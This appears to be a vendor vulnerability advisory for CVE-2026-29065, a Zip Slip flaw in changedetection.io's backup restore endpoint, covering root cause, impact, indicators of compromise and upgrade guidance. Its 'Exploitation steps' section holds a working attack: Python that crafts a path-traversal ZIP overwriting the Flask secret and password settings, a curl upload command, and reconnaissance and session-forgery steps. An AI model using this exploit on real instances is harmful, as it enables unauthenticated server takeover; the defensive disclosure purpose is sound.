CVE-2026-29065: 
Python vulnerability analysis and mitigation

Overview

CVE-2026-29065 is a Zip Slip vulnerability in the backup restore functionality of changedetection.io, a free open-source web page change detection tool. It allows unauthenticated remote attackers to overwrite arbitrary files on the server via path traversal sequences (../) embedded in uploaded ZIP archives. All versions up to and including 0.54.3 are affected; the issue was disclosed and patched on March 4, 2026, with the release of version 0.54.4. The vulnerability carries a CVSS v3.1 base score of 9.1 (Critical) and a CVSS v4.0 base score of 8.8 (High) (Github Advisory, Feedly).

Technical details

The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory — Path Traversal). The vulnerable code in restore.py calls Python's zipfile.extractall() without validating member paths, allowing ../ sequences within ZIP entries to escape the intended extraction directory (Github Advisory):

def restore_backup(self, filename):
    with zipfile.ZipFile(filename, 'r') as zip_ref:
        # VULNERABLE: No path validation before extraction
        zip_ref.extractall(self.datastore_path)

An attacker crafts a ZIP archive containing entries with traversal paths (e.g., ../secret.txt, ../changedetection.json) and uploads it to the /backups/restore/start endpoint. No authentication is required to reach this endpoint, and no preconditions beyond network access to the application are needed. The fix in commit 1d7d812 validates each member's resolved destination path against the extraction directory before extracting, and also adds zip-bomb protection, upload size limits, and UUID validation for directory entries (Patch Commit).

Impact

Successful exploitation allows an unauthenticated attacker to overwrite arbitrary files accessible to the application process, with high confidentiality and integrity impact. Critical targets include the Flask secret.txt (enabling session forgery and authentication bypass), changedetection.json (allowing password removal or backdoor injection), and individual watch.json files (enabling injection of malicious watch configurations). Overwriting the Flask secret key or application settings can lead to full application compromise and potential remote code execution by chaining with other application behaviors (Github Advisory, Feedly).

Exploitability

A proof-of-concept exploit with step-by-step instructions is publicly available in the official security advisory, including Python code to craft the malicious ZIP and a curl command to upload it (Github Advisory). The CVSS v4.0 exploit maturity is rated "Proof of Concept." The EPSS score is approximately 0.059% (9th percentile), indicating low current probability of active exploitation. There is no evidence of in-the-wild exploitation or CISA KEV catalog listing as of the time of this report (Feedly).

Exploitation steps

  1. Reconnaissance: Identify internet-facing changedetection.io instances running version 0.54.3 or earlier using Shodan, Censys, or similar tools by searching for the application's default port (5000) and UI fingerprints.
  2. Craft malicious ZIP: Use Python to create a ZIP archive containing path-traversal entries targeting sensitive application files:
import zipfile, json
with zipfile.ZipFile("zipslip.zip", "w") as zf:
    zf.writestr("../secret.txt", "ATTACKER-CONTROLLED-SECRET")
    zf.writestr("../changedetection.json", json.dumps(
        {"settings": {"application": {"password": ""}}}
    ))
    zf.writestr("../pwned-uuid-1234/watch.json", json.dumps(
        {"url": "https://attacker.com/zipslip-pwned", "title": "ZIPSLIP-PROOF"}
    ))
  1. Upload via restore endpoint: POST the malicious ZIP to the backup restore endpoint (no authentication required):
curl -X POST http://target:5000/backups/restore/start \
  -F "zip_file=@zipslip.zip" \
  -F "include_watches=y" \
  -F "include_settings=y"
  1. Verify path traversal: Confirm that files were written outside the extraction directory (e.g., check /datastore/ for pwned-uuid-1234/ or verify the Flask secret was overwritten).
  2. Achieve objective: With secret.txt overwritten, forge session cookies to bypass authentication. With changedetection.json modified to remove the password, log in directly. Further pivot by injecting malicious watch configurations or escalating to code execution via application-level mechanisms (Github Advisory).

Indicators of compromise

  • Network: Unexpected HTTP POST requests to /backups/restore/start from external or untrusted IP addresses; multipart form-data uploads containing ZIP files to the restore endpoint.
  • File System: Presence of unexpected files outside the designated datastore extraction directory (e.g., modified secret.txt, changedetection.json, or url-watches.json with unusual timestamps); directories with non-UUID names appearing in /datastore/.
  • Logs: Application logs showing ZIP extraction errors or warnings about path traversal (post-patch: "Zip Slip path traversal detected in backup archive"); access logs with POST requests to /backups/restore/start from unexpected sources.
  • Application Behavior: Sudden loss of authentication (password field emptied in settings); new or modified watch entries pointing to attacker-controlled URLs; Flask session tokens becoming invalid after secret.txt modification (Github Advisory, Patch Commit).

Mitigation and workarounds

Upgrade changedetection.io to version 0.54.4 or later, which patches the Zip Slip vulnerability by validating each ZIP member's resolved path before extraction, and also adds zip-bomb protection, upload size limits (default 256 MB), and UUID validation for directory entries (Release 0.54.4, Patch Commit). If immediate patching is not possible, restrict network access to the backup restore endpoint (/backups/restore) via firewall rules or reverse proxy ACLs, or disable the backup restore functionality entirely until the patch can be applied (Feedly).

Community reactions

The vulnerability was reported by security researchers pussycat0x and neo-ai-engineer, and the maintainer (dgtlmoon) published the advisory and patch on the same day (March 4, 2026), demonstrating a rapid response (Github Advisory). The release notes for 0.54.4 bundled fixes for two additional CVEs (CVE-2026-29038 and CVE-2026-29039), indicating a broader security audit of the application (Release 0.54.4). Community discussion was noted on Mastodon (via PikaPods) shortly after disclosure, and the vulnerability was picked up by multiple vulnerability tracking services including Vulners, CVEFeed, and INCIBE-CERT.

Additional resources


Source: This report was generated using AI

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-v2f8-6655-7grjCRITICAL10
  • Python logoPython
  • vibe-trading-ai
NoYesOct 02, 2026
CVE-2026-105782HIGH7.5
  • Python logoPython
  • scrapy
NoYesOct 06, 2026
GHSA-v853-p72q-4cfwHIGH7.5
  • Python logoPython
  • quart
NoYesOct 05, 2026
CVE-2026-105751MEDIUM6.9
  • Python logoPython
  • docling
NoYesOct 05, 2026
CVE-2026-105750MEDIUM5.9
  • Python logoPython
  • docling
NoYesOct 05, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management